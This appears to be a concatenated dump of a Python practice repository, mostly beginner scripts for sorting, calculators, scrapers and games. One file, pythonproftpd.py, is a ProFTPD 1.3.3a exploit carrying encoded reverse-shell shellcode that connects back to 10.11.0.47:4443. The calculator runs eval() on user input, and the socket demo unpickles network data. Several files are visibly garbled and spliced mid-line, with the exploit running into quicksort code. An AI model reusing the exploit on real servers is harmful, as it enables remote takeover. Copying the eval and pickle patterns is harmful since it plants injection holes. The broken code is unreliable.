/Program/menu_based_calc.py: -------------------------------------------------------------------------------- 1 | # Program to implement a menu based calculator 2 | #It makes use of functional programming concept and handles all the possible errors. 3 | #Contributed by Ahamed Ruyefa 4 | 5 | # Function to Add integers 6 | def addIntegers(a, b): 7 | return a + b 8 | 9 | 10 | # Function to Subtract integers 11 | def subtractIntegers(a, b): 12 | return a - b 13 | 14 | 15 | # Function to Multiply integers 16 | def multiplyIntegers(a, b): 17 | return a * b 18 | 19 | 20 | # Function to Divide integers 21 | def divideIntegers(a, b): 22 | if b == 0: 23 | return "Divide by zero error" 24 | return a / b 25 | 26 | 27 | # Function to get user input 28 | def getIntegers(): 29 | print("Enter two integers with a space between them. eg: 15 20") 30 | try: 31 | a, b = input("Enter num1 and num2: ").strip().split() 32 | a = int(a) 33 | b = int(b) 34 | return a, b 35 | except: 36 | return "Invalid input" 37 | 38 | 39 | # Function to Display Menu 40 | def printMenu(): 41 | print("Menu based calculator") 42 | print("1. Addition of Integers") 43 | print("2. Subtraction of Integers") 44 | print("3. Multiplication of Integers") 45 | print("4. Division of Integers") 46 | print("5. Evaluation of Expression") 47 | 48 | 49 | # Function to get User choice 50 | def getChoice(): 51 | try: 52 | return int(input("Choose your option: ")) 53 | except ValueError: 54 | return 0 55 | 56 | 57 | if __name__ == "__main__": 58 | repeat = True 59 | while repeat: 60 | printMenu() 61 | choice = getChoice() 62 | 63 | if choice in range(1, 5): 64 | try: 65 | a, b = getIntegers() 66 | if choice == 1: 67 | print(addIntegers(a, b)) 68 | elif choice == 2: 69 | print(subtractIntegers(a, b)) 70 | elif choice == 3: 71 | print(multiplyIntegers(a, b)) 72 | elif choice == 4: 73 | print(divideIntegers(a, b)) 74 | except: 75 | print("NAN") 76 | elif choice == 5: 77 | expression = input("Enter expression to evaluate: ") 78 | try: 79 | print(eval(expression)) 80 | except: 81 | print("NAN") 82 | else: 83 | print("Invalid choice") 84 | 85 | if input("Continue? (y/n): ") in ["y", "Y"]: 86 | repeat = True 87 | else: 88 | repeat = False 89 | -------------------------------------------------------------------------------- /Program/mergeSort.py: -------------------------------------------------------------------------------- 1 | # Python program for implementation of MergeSort 2 | 3 | # Merges two subarrays of arr[]. 4 | # First subarray is arr[l..m] 5 | # Second subarray is arr[m+1..r] 6 | 7 | 8 | def merge(arr, l, m, r): 9 | n1 = m - l + 1 10 | n2 = r - m 11 | 12 | # create temp arrays 13 | L = [0] * (n1) 14 | R = [0] * (n2) 15 | 16 | # Copy data to temp arrays L[] and R[] 17 | for i in range(0, n1): 18 | L[i] = arr[l + i] 19 | 20 | for j in range(0, n2): 21 | R[j] = arr[m + 1 + j] 22 | 23 | # Merge the temp arrays back into arr[l..r] 24 | i = 0 # Initial index of first subarray 25 | j = 0 # Initial index of second subarray 26 | k = l # Initial index of merged subarray 27 | 28 | while i < n1 and j < n2: 29 | if L[i] <= R[j]: 30 | arr[k] = L[i] 31 | i += 1 32 | else: 33 | arr[k] = R[j] 34 | j += 1 35 | k += 1 36 | 37 | # Copy the remaining elements of L[], if there 38 | # are any 39 | while i < n1: 40 | arr[k] = L[i] 41 | i += 1 42 | k += 1 43 | 44 | # Copy the remaining elements of R[], if there 45 | # are any 46 | while j < n2: 47 | arr[k] = R[j] 48 | j += 1 49 | k += 1 50 | 51 | # l is for left index and r is right index of the 52 | # sub-array of arr to be sorted 53 | 54 | 55 | def mergeSort(arr, l, r): 56 | if l < r: 57 | 58 | # Same as (l+r)//2, but avoids overflow for 59 | # large l and h 60 | m = l+(r-l)//2 61 | 62 | # Sort first and second halves 63 | mergeSort(arr, l, m) 64 | mergeSort(arr, m+1, r) 65 | merge(arr, l, m, r) 66 | 67 | 68 | # Driver code to test above 69 | arr = [12, 11, 13, 5, 6, 7] 70 | n = len(arr) 71 | print("Given array is") 72 | for i in range(n): 73 | print("%d" % arr[i]), 74 | 75 | mergeSort(arr, 0, n-1) 76 | print("\n\nSorted array is") 77 | for i in range(n): 78 | print("%d" % arr[i]), 79 | -------------------------------------------------------------------------------- /Program/networkx-lib.py: -------------------------------------------------------------------------------- 1 | import networkx as nx 2 | import matplotlib.pyplot as plt 3 | G=nx.barabasi_albert_graph(50,2) 4 | 5 | nx.draw(G) 6 | plt.show() 7 | 8 | nx.write_gexf(G,"analysis.gexf") 9 | -------------------------------------------------------------------------------- /Program/news_scrapper.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import pprint 4 | 5 | res = requests.get('https://news.ycombinator.com/news') 6 | res2 = requests.get('https://news.ycombinator.com/news?p=2') 7 | soup = BeautifulSoup(res.text, 'html.parser') 8 | soup2 = BeautifulSoup(res2.text, 'html.parser') 9 | 10 | links = soup.select('.storylink') 11 | subtext = soup.select('.subtext') 12 | links2 = soup2.select('.storylink') 13 | subtext2 = soup2.select('.subtext') 14 | 15 | mega_links = links + links2 16 | mega_subtext = subtext + subtext2 17 | 18 | def sort_stories_by_votes(hnlist): 19 | return sorted(hnlist, key= lambda k:k['votes'],reverse=True) 20 | 21 | def create_custom_hn(links,subtext): 22 | hn=[] 23 | for idx, item in enumerate(links): 24 | title =item.getText() 25 | href = item.get('href',None) 26 | vote = subtext[idx].select('.score') 27 | if len(vote): 28 | points = int(vote[0].getText().replace(' points','')) 29 | if points > 99: 30 | hn.append({'title':title,'link':href,'votes':points}) 31 | return sort_stories_by_votes(hn) 32 | 33 | pprint.pprint(create_custom_hn(mega_links, mega_subtext)) 34 | -------------------------------------------------------------------------------- /Program/nqueens.py: -------------------------------------------------------------------------------- 1 | print("Enter the number of queens") 2 | n = int(input()) 3 | 4 | board = [['-']*n for i in range(n)] # Generate NxN board 5 | 6 | 7 | def is_valid(i, j): # To check if placing queen in square is a valid move 8 | for k in range(0, n): 9 | # To check if a queen already exists in same row or column 10 | if board[i][k] == 'Q' or board[k][j] == 'Q': 11 | return False 12 | for k in range(0, n): 13 | for l in range(0, n): 14 | if (k+l == i+j) or (k-l == i-j): # To check if a queen already exists along the diagonal 15 | if board[k][l] == 'Q': 16 | return False 17 | return True 18 | 19 | 20 | def solve(n1): 21 | if n1 == 0: # If n1 is 0, then arrangement is valid 22 | return True 23 | for i in range(0, n): 24 | for j in range(0, n): 25 | # To check if placement of queen is valid and no queen exists at that position 26 | if (is_valid(i, j)) and (board[i][j] != 'Q'): 27 | board[i][j] = 'Q' 28 | # To check if we can put next queen with respect to placement of previous queen 29 | if solve(n1-1) == True: 30 | return True 31 | board[i][j] = '-' 32 | 33 | return False 34 | 35 | 36 | solve(n) 37 | for i in board: 38 | print(i) 39 | -------------------------------------------------------------------------------- /Program/number_pattern.py: -------------------------------------------------------------------------------- 1 | # rows = 6 2 | # if you want user to enter a number, uncomment the below line 3 | rows = int(input('Enter the number of rows')) 4 | # outer loop 5 | for i in range(rows+1): 6 | # nested loop 7 | for j in range(i): 8 | # display number 9 | print(i, end=' ') 10 | # new line after each row 11 | print('') -------------------------------------------------------------------------------- /Program/ohms_law.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | 4 | def ohms_law(voltage: float, current: float, resistance: float) -> dict[str, float]: 5 | 6 | if (voltage, current, resistance).count(0) != 1: 7 | raise ValueError("One and only one argument must be 0") 8 | if resistance < 0: 9 | raise ValueError("Resistance cannot be negative") 10 | if voltage == 0: 11 | return {"voltage": float(current * resistance)} 12 | elif current == 0: 13 | return {"current": voltage / resistance} 14 | elif resistance == 0: 15 | return {"resistance": voltage / current} 16 | else: 17 | raise ValueError("Exactly one argument must be 0") 18 | 19 | 20 | if __name__ == "__main__": 21 | import doctest 22 | 23 | doctest.testmod() 24 | -------------------------------------------------------------------------------- /Program/palindrome with recursion.py: -------------------------------------------------------------------------------- 1 | def palindrome(s): 2 | if len(s)==0 or len(s)==1: 3 | return True 4 | else: 5 | if s[0]==s[-1]: 6 | return palindrome(s[1:-1]) 7 | else: 8 | return False 9 | 10 | s=input("Enter a String") 11 | if palindrome(s): 12 | print("It is a Palindrome") 13 | else: 14 | print("It is not a Palindrome") 15 | 16 | -------------------------------------------------------------------------------- /Program/palindrome.py: -------------------------------------------------------------------------------- 1 | # Program to check if a string is palindrome or not 2 | 3 | my_str = 'aIbohPhoBiA' 4 | 5 | # make it suitable for caseless comparison 6 | my_str = my_str.casefold() 7 | 8 | # reverse the string 9 | rev_str = reversed(my_str) 10 | 11 | # check if the string is equal to its reverse 12 | if list(my_str) == list(rev_str): 13 | print("The string is a palindrome.") 14 | else: 15 | print("The string is not a palindrome.") 16 | -------------------------------------------------------------------------------- /Program/pascalsTraingle.py: -------------------------------------------------------------------------------- 1 | # Print Pascal's Triangle in Python 2 | 3 | from math import factorial 4 | 5 | # input n 6 | n = 5 7 | for i in range(n): 8 | for j in range(n-i+1): 9 | 10 | # for left spacing 11 | print(end=" ") 12 | 13 | for j in range(i+1): 14 | 15 | # nCr = n!/((n-r)!*r!) 16 | print(factorial(i)//(factorial(j)*factorial(i-j)), end=" ") 17 | 18 | # for new line 19 | print() 20 | -------------------------------------------------------------------------------- /Program/pokemon.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import inquirer 3 | 4 | 5 | firstGen = requests.get('https://pokeapi.co/api/v2/pokemon?limit=151', 6 | headers={"User-Agent": "Hello, again"}) 7 | 8 | firstGenData = firstGen.json() 9 | 10 | 11 | def singlePkmnFunction(): 12 | singlePkm = requests.get(f'https://pokeapi.co/api/v2/pokemon/{query}', 13 | headers={"User-Agent": "Hello"}) 14 | 15 | singlePkmData = singlePkm.json() 16 | print(f'Hai cercato: {singlePkmData["name"]}') 17 | print(f'Il suo id è: {singlePkmData["id"]}') 18 | 19 | 20 | # Pkmn first 151 21 | pkmns = [] 22 | 23 | for result in firstGenData['results']: 24 | pkmn = result['name'] 25 | pkmns.append(pkmn) 26 | 27 | 28 | # Domande 29 | questions = [ 30 | inquirer.List('risposte', 31 | message="Hey, what do you wanna do?", 32 | choices=['I want to look for a Pokémon', 33 | 'I want to see all the Pokémon of the first generation']), 34 | ] 35 | answers = inquirer.prompt(questions) 36 | 37 | i = 1 38 | if (answers['answers'] == 'I want to see all the Pokémon of the first generation'): 39 | print('Here are the Pokèmon of the first generation:') 40 | print("\n".join(pkmns)) 41 | else: 42 | print('Search') 43 | query = input() 44 | singlePkmnFunction() 45 | -------------------------------------------------------------------------------- /Program/prime.py: -------------------------------------------------------------------------------- 1 | # Program to check if a number is prime or not 2 | 3 | num = 407 4 | 5 | # To take input from the user 6 | #num = int(input("Enter a number: ")) 7 | 8 | # prime numbers are greater than 1 9 | if num > 1: 10 | # check for factors 11 | for i in range(2,num): 12 | if (num % i) == 0: 13 | print(num,"is not a prime number") 14 | print(i,"times",num//i,"is",num) 15 | break 16 | else: 17 | print(num,"is a prime number") 18 | 19 | # if input number is less than 20 | # or equal to 1, it is not prime 21 | else: 22 | print(num,"is not a prime number") 23 | -------------------------------------------------------------------------------- /Program/python program to swap 1st and last element of a list.py: -------------------------------------------------------------------------------- 1 | # Python3 program to swap first 2 | # and last element of a list 3 | 4 | # Swap function 5 | def swapList(newList): 6 | size = len(newList) 7 | 8 | # Swapping 9 | temp = newList[0] 10 | newList[0] = newList[size - 1] 11 | newList[size - 1] = temp 12 | 13 | return newList 14 | 15 | # Driver code 16 | newList = [12, 35, 9, 56, 24] 17 | 18 | print(swapList(newList)) 19 | -------------------------------------------------------------------------------- /Program/pythonproftpd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | import struct 4 | 5 | # msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.47 LPORT=4443 -e x86/shikata_ga_nai -b "\x09\x0a\x0b\x0c\x0d\x20\xff" -f c 6 | # Payload size: 95 bytes 7 | shellcode = ( 8 | "\xda\xc4\xb8\xd7\x21\x10\x0e\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" 9 | "\x12\x31\x42\x17\x03\x42\x17\x83\x15\x25\xf2\xfb\xa8\xfd\x05" 10 | "\xe0\x99\x42\xb9\x8d\x1f\xcc\xdc\xe2\x79\x03\x9e\x90\xdc\x2b" 11 | "\xa0\x5b\x5e\x02\xa6\x9a\x36\x9f\x53\x5d\xe9\xf7\x61\x5d\xe4" 12 | "\x5c\xef\xbc\xb6\x05\xbf\x6f\xe5\x7a\x3c\x19\xe8\xb0\xc3\x4b" 13 | "\x82\x24\xeb\x18\x3a\xd1\xdc\xf1\xd8\x48\xaa\xed\x4e\xd8\x25" 14 | "\x10\xde\xd5\xf8\x53" 15 | ) 16 | 17 | # Debian 6 - ProFTPD 1.3.3a 18 | ret = struct.pack(' Array to be sorted, 29 | # low --> Starting index, 30 | # high --> Ending index 31 | 32 | # Function to do Quick sort 33 | 34 | 35 | def quickSort(arr, low, high): 36 | if len(arr) == 1: 37 | return arr 38 | if low < high: 39 | 40 | # pi is partitioning index, arr[p] is now 41 | # at right place 42 | pi = partition(arr, low, high) 43 | 44 | # Separately sort elements before 45 | # partition and after partition 46 | quickSort(arr, low, pi-1) 47 | quickSort(arr, pi+1, high) 48 | 49 | 50 | # Driver code to test above 51 | arr = [10, 7, 8, 9, 1, 5] 52 | n = len(arr) 53 | quickSort(arr, 0, n-1) 54 | print("Sorted array is:") 55 | for i in range(n): 56 | print("%d" % arr[i]), 57 | 58 | -------------------------------------------------------------------------------- /Program/random pass generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | n_l=int(input("no. of letters you want:- ")) 3 | n_s=int(input("no. of symbols you want:- ")) 4 | n_n=int(input("no. of numbers you want:- ")) 5 | letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] 6 | numbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] 7 | symbols = ['!', '#', '$', '%', '&', '(', ')', '*', '+'] 8 | password=[] 9 | for i in range(0,n_l+n_s+n_n): 10 | if i<=n_l: 11 | password.append(letters[random.randint(0,51)]) 12 | elif i<=n_l+n_s: 13 | password.append(symbols[random.randint(0,8)]) 14 | else: 15 | password.append(numbers[random.randint(0,9)]) 16 | random.shuffle(password) 17 | passw="" 18 | for i in range(0,n_l+n_s+n_n): 19 | passw=passw+password[i] 20 | print(passw) -------------------------------------------------------------------------------- /Program/roman_to_integer.py: -------------------------------------------------------------------------------- 1 | def romanToInt(romanNum): 2 | roman_numberals = { 3 | 'I' : 1, 4 | 'V' : 5, 5 | 'X' : 10, 6 | 'L' : 50, 7 | 'C' : 100, 8 | 'D' : 500, 9 | 'M' : 1000 10 | } 11 | intNum = 0 # Result variable 12 | i = 0 13 | 14 | while i < len(romanNum): 15 | currRomanNum = roman_numberals[romanNum[i]] 16 | nextRomanNum = roman_numberals[romanNum[min(i+1,len(romanNum) - 1)]] 17 | # nextRomanNum is romanNum[i+1] in number and if i equals to len(romanNum-1) then it will be romanNum[i] 18 | 19 | if nextRomanNum > currRomanNum: 20 | intNum += nextRomanNum - currRomanNum 21 | i += 2 22 | else: 23 | intNum += currRomanNum 24 | i += 1 25 | 26 | return intNum 27 | 28 | print(romanToInt('L')) 29 | -------------------------------------------------------------------------------- /Program/simplecalculator.py: -------------------------------------------------------------------------------- 1 | #Simple calculator for addition, subtraction, multiplication,division & average 2 | 3 | def addition (): 4 | print("Addition") 5 | n = float(input("Enter the number of digits: ")) 6 | t = 0 7 | ans = 0 8 | while n != 0: 9 | ans = ans + n 10 | t+=1 11 | n = float(input("Enter another number (0 to calculate): ")) 12 | return [ans,t] 13 | def subtraction (): 14 | print("Subtraction"); 15 | n = float(input("Enter the number: ")) 16 | t = 0 17 | sum = 0 18 | while n != 0: 19 | ans = ans - n 20 | t+=1 21 | n = float(input("Enter another number (0 to calculate): ")) 22 | return [ans,t] 23 | def multiplication (): 24 | print("Multiplication") 25 | n = float(input("Enter the number: ")) 26 | t = 0 27 | ans = 1 28 | while n != 0: 29 | ans = ans * n 30 | t+=1 31 | n = float(input("Enter another number (0 to calculate): ")) 32 | return [ans,t] 33 | def average(): 34 | an = [] 35 | an = addition() 36 | t = an[1] 37 | a = an[0] 38 | ans = a / t 39 | return [ans,t] 40 | 41 | while True: 42 | list = [] 43 | print(" My first python program!") 44 | print(" Simple Calculator in python by Malik Umer Farooq") 45 | print(" Enter 'a' for addition") 46 | print(" Enter 's' for substraction") 47 | print(" Enter 'm' for multiplication") 48 | print(" Enter 'v' for average") 49 | print(" Enter 'q' for quit") 50 | c = input(" ") 51 | if c != 'q': 52 | if c == 'a': 53 | list = addition() 54 | print("Ans = ", list[0], " total inputs ",list[1]) 55 | elif c == 's': 56 | list = subtraction() 57 | print("Ans = ", list[0], " total inputs ",list[1]) 58 | elif c == 'm': 59 | list = multiplication() 60 | print("Ans = ", list[0], " total inputs ",list[1]) 61 | elif c == 'v': 62 | list = average() 63 | print("Ans = ", list[0], " total inputs ",list[1]) 64 | else: 65 | print ("Sorry, invilid character") 66 | else: 67 | break 68 | -------------------------------------------------------------------------------- /Program/socket_programming.py: -------------------------------------------------------------------------------- 1 | #client 2 | import socket, pickle 3 | def read_string(): 4 | string = input("Enter String: ") 5 | return string 6 | HOST = 'localhost' 7 | PORT = 5000 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | s.connect((HOST, PORT)) 10 | mystring = read_string() 11 | data_string = pickle.dumps(mystring) 12 | s.send(data_string) 13 | data = s.recv(4096) 14 | data_mystring = pickle.loads(data) 15 | s.close() 16 | print('Letter count: ', repr(data_mystring)) 17 | 18 | #server 19 | import socket, pickle 20 | HOST = 'localhost' 21 | PORT = 5000 22 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | s.bind((HOST, PORT)) 24 | s.listen(1) 25 | conn, addr = s.accept() 26 | print("Connected: ", addr) 27 | while True: 28 | data = conn.recv(4096) 29 | data = pickle.loads(data) 30 | if not data: 31 | break 32 | print(data) 33 | d = {} 34 | for i in data: 35 | if i in d: 36 | d[i]+=1 37 | else: 38 | d[i] = 1 39 | conn.send(pickle.dumps(d)) 40 | conn.close() -------------------------------------------------------------------------------- /Program/sorting methods.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | st=time.time() 4 | l=[7,2,9,9,2,4,5,6,1,8,9,8,3,6,5,2,6,8,7,3,6,7,2,8,9,7,3,6,2,7,2,8,7,2,9,9,2,4,5,6,1,8,9,8,3,6,5,2,6,8,7,3,6,7,2,8,9,7,3,6,2,7,2,8] 5 | #bubble sort 6 | for i in range(len(l)): 7 | for j in range(len(l)-i-1): 8 | if l[j]>=l[j+1]: 9 | l[j],l[j+1]=l[j+1],l[j] 10 | print(l) 11 | bs=time.time() 12 | print("bubble sort takes "+str(bs-st)+"s") 13 | 14 | l=[7,2,9,9,2,4,5,6,1,8,9,8,3,6,5,2,6,8,7,3,6,7,2,8,9,7,3,6,2,7,2,8,7,2,9,9,2,4,5,6,1,8,9,8,3,6,5,2,6,8,7,3,6,7,2,8,9,7,3,6,2,7,2,8] 15 | #selection sort 16 | for i in range(0,len(l)-1): 17 | tbc=i 18 | for j in range(i+1,len(l)): 19 | if l[j]<=l[tbc]: 20 | l[j],l[tbc]=l[tbc],l[j] 21 | print(l) 22 | ss=time.time() 23 | print("selection sort takes "+str(ss-bs)+"s") 24 | 25 | l=[7,2,9,9,2,4,5,6,1,8,9,8,3,6,5,2,6,8,7,3,6,7,2,8,9,7,3,6,2,7,2,8,7,2,9,9,2,4,5,6,1,8,9,8,3,6,5,2,6,8,7,3,6,7,2,8,9,7,3,6,2,7,2,8] 26 | #insertion sort 27 | for i in range(1,len(l)): 28 | k=l[i] 29 | j=i-1 30 | while j>=0 and k1: 43 | ar1=merge(arr[0:int(n/2)],int(n/2)) 44 | ar2=merge(arr[int(n/2):],n-int(n/2)) 45 | lar1=int(n/2) 46 | lar2=n-lar1 47 | #print(ar1) 48 | #print(ar2) 49 | #print('"""""""""') 50 | ans=[] 51 | i,j=0,0 52 | for k in range(n): 53 | try: 54 | if ar1[i]<=ar2[j]: 55 | ans.append(ar1[i]) 56 | i+=1 57 | else: 58 | ans.append(ar2[j]) 59 | j+=1 60 | except IndexError: 61 | if i<=j and i array to be sorted 18 | # n -> length of the array 19 | # d -> its a hashmap 20 | -------------------------------------------------------------------------------- /Program/split_array_program1.py: -------------------------------------------------------------------------------- 1 | #Python program to split array and move first part to end. 2 | 3 | 4 | def splitArr(arr, n, k): 5 | for i in range(0, k): 6 | x = arr[0] 7 | for j in range(0, n-1): 8 | arr[j] = arr[j + 1] 9 | 10 | arr[n-1] = x 11 | 12 | 13 | # main 14 | arr = [12, 10, 5, 6, 52, 36] 15 | n = len(arr) 16 | position = 2 17 | 18 | splitArr(arr, n, position) 19 | 20 | for i in range(0, n): 21 | print(arr[i], end = ' ') 22 | 23 | 24 | -------------------------------------------------------------------------------- /Program/square root.py: -------------------------------------------------------------------------------- 1 | # Python Program to calculate the square root 2 | 3 | # Note: change this value for a different result 4 | num = 8 5 | 6 | # To take the input from the user 7 | #num = float(input('Enter a number: ')) 8 | 9 | num_sqrt = num ** 0.5 10 | print('The square root of %0.3f is %0.3f'%(num ,num_sqrt)) 11 | -------------------------------------------------------------------------------- /Program/string_compare.py: -------------------------------------------------------------------------------- 1 | # This program takes two strings and compares them to see which one has a larger value. It essentially does what strcmp would do in C++. It compares each character of both strings and if they are equal, it goes to the next character. If one is larger than another, then it returns that the string with the larger character is bigger than the string with the smaller. And by larger and smaller, it is referring to the binary value of the characters. Case-insensitive 2 | 3 | 4 | # case_insensitive string compare 5 | def str_cmp(str1, str2): 6 | if str1.lower() > str2.lower(): 7 | print(str1 + " is greater than " + str2) 8 | return 1 9 | elif str1.lower() < str2.lower(): 10 | print(str2 + " is greater than " + str1) 11 | return 0 12 | else: 13 | print("The strings are equal") 14 | return 15 | 16 | 17 | # driver 18 | s1 = 'Bath' # t > r, thus Bath is greater than Bark 19 | s2 = 'Bark' 20 | 21 | str_cmp(s1, s2) 22 | 23 | # since function is case-insensitive, these will be equal to the function 24 | j = str_cmp("Jill", "jIlL") # returns none since they are equal 25 | print(j) 26 | -------------------------------------------------------------------------------- /Program/text2num.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | Small = { 4 | 'zero': 0, 5 | 'one': 1, 6 | 'two': 2, 7 | 'three': 3, 8 | 'four': 4, 9 | 'five': 5, 10 | 'six': 6, 11 | 'seven': 7, 12 | 'eight': 8, 13 | 'nine': 9, 14 | 'ten': 10, 15 | 'eleven': 11, 16 | 'twelve': 12, 17 | 'thirteen': 13, 18 | 'fourteen': 14, 19 | 'fifteen': 15, 20 | 'sixteen': 16, 21 | 'seventeen': 17, 22 | 'eighteen': 18, 23 | 'nineteen': 19, 24 | 'twenty': 20, 25 | 'thirty': 30, 26 | 'forty': 40, 27 | 'fifty': 50, 28 | 'sixty': 60, 29 | 'seventy': 70, 30 | 'eighty': 80, 31 | 'ninety': 90 32 | } 33 | 34 | Magnitude = { 35 | 'thousand': 1000, 36 | 'million': 1000000, 37 | 'billion': 1000000000, 38 | 'trillion': 1000000000000, 39 | 'quadrillion': 1000000000000000, 40 | 'quintillion': 1000000000000000000, 41 | 'sextillion': 1000000000000000000000, 42 | 'septillion': 1000000000000000000000000, 43 | 'octillion': 1000000000000000000000000000, 44 | 'nonillion': 1000000000000000000000000000000, 45 | 'decillion': 1000000000000000000000000000000000, 46 | } 47 | 48 | class NumberException(Exception): 49 | def __init__(self, msg): 50 | Exception.__init__(self, msg) 51 | 52 | def text2num(s): 53 | a = re.split(r"[\s-]+", s) 54 | n = 0 55 | g = 0 56 | for w in a: 57 | x = Small.get(w, None) 58 | if x is not None: 59 | g += x 60 | elif w == "hundred": 61 | g *= 100 62 | else: 63 | x = Magnitude.get(w, None) 64 | if x is not None: 65 | n += g * x 66 | g = 0 67 | else: 68 | raise NumberException("Unknown number: "+w) 69 | return n + g 70 | 71 | if __name__ == "__main__": 72 | assert 1 == text2num("one") 73 | assert 12 == text2num("twelve") 74 | assert 72 == text2num("seventy two") 75 | assert 300 == text2num("three hundred") 76 | assert 1200 == text2num("twelve hundred") 77 | assert 12304 == text2num("twelve thousand three hundred four") 78 | assert 6000000 == text2num("six million") 79 | assert 6400005 == text2num("six million four hundred thousand five") 80 | assert 123456789012 == text2num("one hundred twenty three billion four hundred fifty six million seven hundred eighty nine thousand twelve") 81 | assert 4000000000000000000000000000000000 == text2num("four decillion") 82 | -------------------------------------------------------------------------------- /Program/tic_tac_toe.py: -------------------------------------------------------------------------------- 1 | 2 | # Tic tac toe game in Python 3 | # importing all necessary libraries 4 | import numpy as np 5 | import random 6 | from time import sleep 7 | 8 | # Creates an empty board 9 | def create_board(): 10 | return(np.array([[0, 0, 0], 11 | [0, 0, 0], 12 | [0, 0, 0]])) 13 | 14 | # Check for empty places on board 15 | def possibilities(board): 16 | l = [] 17 | 18 | for i in range(len(board)): 19 | for j in range(len(board)): 20 | 21 | if board[i][j] == 0: 22 | l.append((i, j)) 23 | return(l) 24 | 25 | # Select a random place for the player 26 | def random_place(board, player): 27 | selection = possibilities(board) 28 | current_loc = random.choice(selection) 29 | board[current_loc] = player 30 | return(board) 31 | 32 | # Checks whether the player has three 33 | # of their marks in a horizontal row 34 | def row_win(board, player): 35 | for x in range(len(board)): 36 | win = True 37 | 38 | for y in range(len(board)): 39 | if board[x, y] != player: 40 | win = False 41 | continue 42 | 43 | if win == True: 44 | return(win) 45 | return(win) 46 | 47 | # Checks whether the player has three 48 | # of their marks in a vertical row 49 | def col_win(board, player): 50 | for x in range(len(board)): 51 | win = True 52 | 53 | for y in range(len(board)): 54 | if board[y][x] != player: 55 | win = False 56 | continue 57 | 58 | if win == True: 59 | return(win) 60 | return(win) 61 | 62 | # Checks whether the player has three 63 | # of their marks in a diagonal row 64 | def diag_win(board, player): 65 | win = True 66 | y = 0 67 | for x in range(len(board)): 68 | if board[x, x] != player: 69 | win = False 70 | if win: 71 | return win 72 | win = True 73 | if win: 74 | for x in range(len(board)): 75 | y = len(board) - 1 - x 76 | if board[x, y] != player: 77 | win = False 78 | return win 79 | 80 | # Evaluates whether there is 81 | # a winner or a tie 82 | def evaluate(board): 83 | winner = 0 84 | 85 | for player in [1, 2]: 86 | if (row_win(board, player) or 87 | col_win(board,player) or 88 | diag_win(board,player)): 89 | 90 | winner = player 91 | 92 | if np.all(board != 0) and winner == 0: 93 | winner = -1 94 | return winner 95 | 96 | # Main function to start the game 97 | def play_game(): 98 | board, winner, counter = create_board(), 0, 1 99 | print(board) 100 | sleep(2) 101 | 102 | while winner == 0: 103 | for player in [1, 2]: 104 | board = random_place(board, player) 105 | print("Board after " + str(counter) + " move") 106 | print(board) 107 | sleep(2) 108 | counter += 1 109 | winner = evaluate(board) 110 | if winner != 0: 111 | break 112 | return(winner) 113 | 114 | # Driver Code 115 | print("Winner is: " + str(play_game())) -------------------------------------------------------------------------------- /Program/word_counter.py: -------------------------------------------------------------------------------- 1 | # Python program to get word and character count from a given input string 2 | # Contributed by Ahamed Ruyefa DF 3 | 4 | 5 | def getWordCount(str): 6 | return len(str.strip().split()) 7 | 8 | 9 | def getCharacterCount(str): 10 | return len(str.strip()) 11 | 12 | 13 | if __name__ == "__main__": 14 | userString = input("Enter string: ") 15 | wordCount = getWordCount(userString) 16 | characterCount = getCharacterCount(userString) 17 | print("Word count: ", wordCount) 18 | print("Character count: ", characterCount) 19 | -------------------------------------------------------------------------------- /Projects/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/.DS_Store -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/__pycache__/main.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/__pycache__/main.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/ai_run.py: -------------------------------------------------------------------------------- 1 | import gym,gym_dino 2 | import numpy as np 3 | from main import stack_frames,stacked_frames 4 | from tensorflow import keras 5 | state_size=[20,50,4] 6 | v=keras.models.load_model("vidw_model.h5") 7 | env=gym.make("DinoGame-v0") 8 | for episode in range(10): 9 | state=env.reset() 10 | state,stacked_frames=stack_frames(stacked_frames, state, True) 11 | 12 | done=False 13 | while not done: 14 | state = state.reshape((1, *state_size)) 15 | Q_v=v.predict(state) 16 | action=np.argmax(Q_v) 17 | next_state,reward,done,_=env.step(action) 18 | next_state, stacked_frames = stack_frames(stacked_frames, next_state, False) 19 | state=next_state 20 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/highway_run.py: -------------------------------------------------------------------------------- 1 | import gym,highway_env 2 | import numpy as np 3 | from highway_env_2 import stack_frames,stacked_frames 4 | from tensorflow import keras 5 | state_size = [5,5,4] 6 | v=keras.models.load_model("/home/anwesan/PycharmProjects/pythonProject/vw_model.h5") # the path tp my stored model . Pls do change this according to your system 7 | env=gym.make("highway-v0") 8 | for episode in range(10): 9 | state = env.reset() 10 | state,stacked_frames = stack_frames(stacked_frames, state, True) 11 | done=False 12 | while not done: 13 | state = state.reshape((1, *state_size)) 14 | Q_v=v.predict(state) 15 | action=np.argmax(Q_v) 16 | next_state,reward,done,_=env.step(action) 17 | env.render() 18 | next_state, 